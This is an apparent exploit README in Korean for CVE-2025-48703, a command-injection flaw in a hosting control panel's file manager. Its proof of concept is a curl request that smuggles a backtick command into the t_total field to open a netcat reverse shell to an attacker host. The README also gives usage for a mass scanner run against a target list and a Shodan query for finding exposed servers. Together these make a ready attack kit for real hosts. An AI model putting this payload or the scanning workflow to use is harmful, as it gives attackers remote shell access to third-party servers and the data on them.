🛡️ CVE-2025-48703 - cPanel 파일 관리자의 원격 코드 실행(RCE)

📌 설명

CVE-2025-48703은 웹 호스팅 제어판(예: cPanel)의 filemanager 모듈에서 발생하는 원격 코드 실행(RCE) 취약점입니다. 이는 acc=changePerm 함수의 살균되지 않은 입력 처리로 인해 발생하며, 공격자가 t_total 매개변수를 사용하여 임의의 시스템 명령을 주입하고 실행할 수 있게 합니다.

🧨 영향

이 취약점으로 공격자는 다음을 수행할 수 있습니다:

• 대상 서버에서 임의의 명령을 실행합니다.
• 지속적인 액세스를 위해 리버스 셸을 구축합니다.
• 잠재적으로 권한을 상승시키거나 수평 이동을 수행합니다.

⚠️ 이 공격은 최소한의 인증으로 수행될 수 있으며, 일부 구성에서는 인증 없이도 액세스할 수 있습니다.

🚀 개념 증명(PoC)

✅ 리버스 셸 명령

curl -kis 'https://<TARGET_IP>:2083/myuser/index.php?module=filemanager&acc=changePerm' \
  --data 'fileName=.bashrc&currentPath=/home/myuser&t_total=`nc <ATTACKER_IP> 4444 -e /bin/bash`'

스캐너 사용법

python3 Scanner.py  #Make sure targets.txt is in the same dir

Shodan 검색

Server: cwpsrv

참조: https://fenrisk.com/rce-centos-webpanel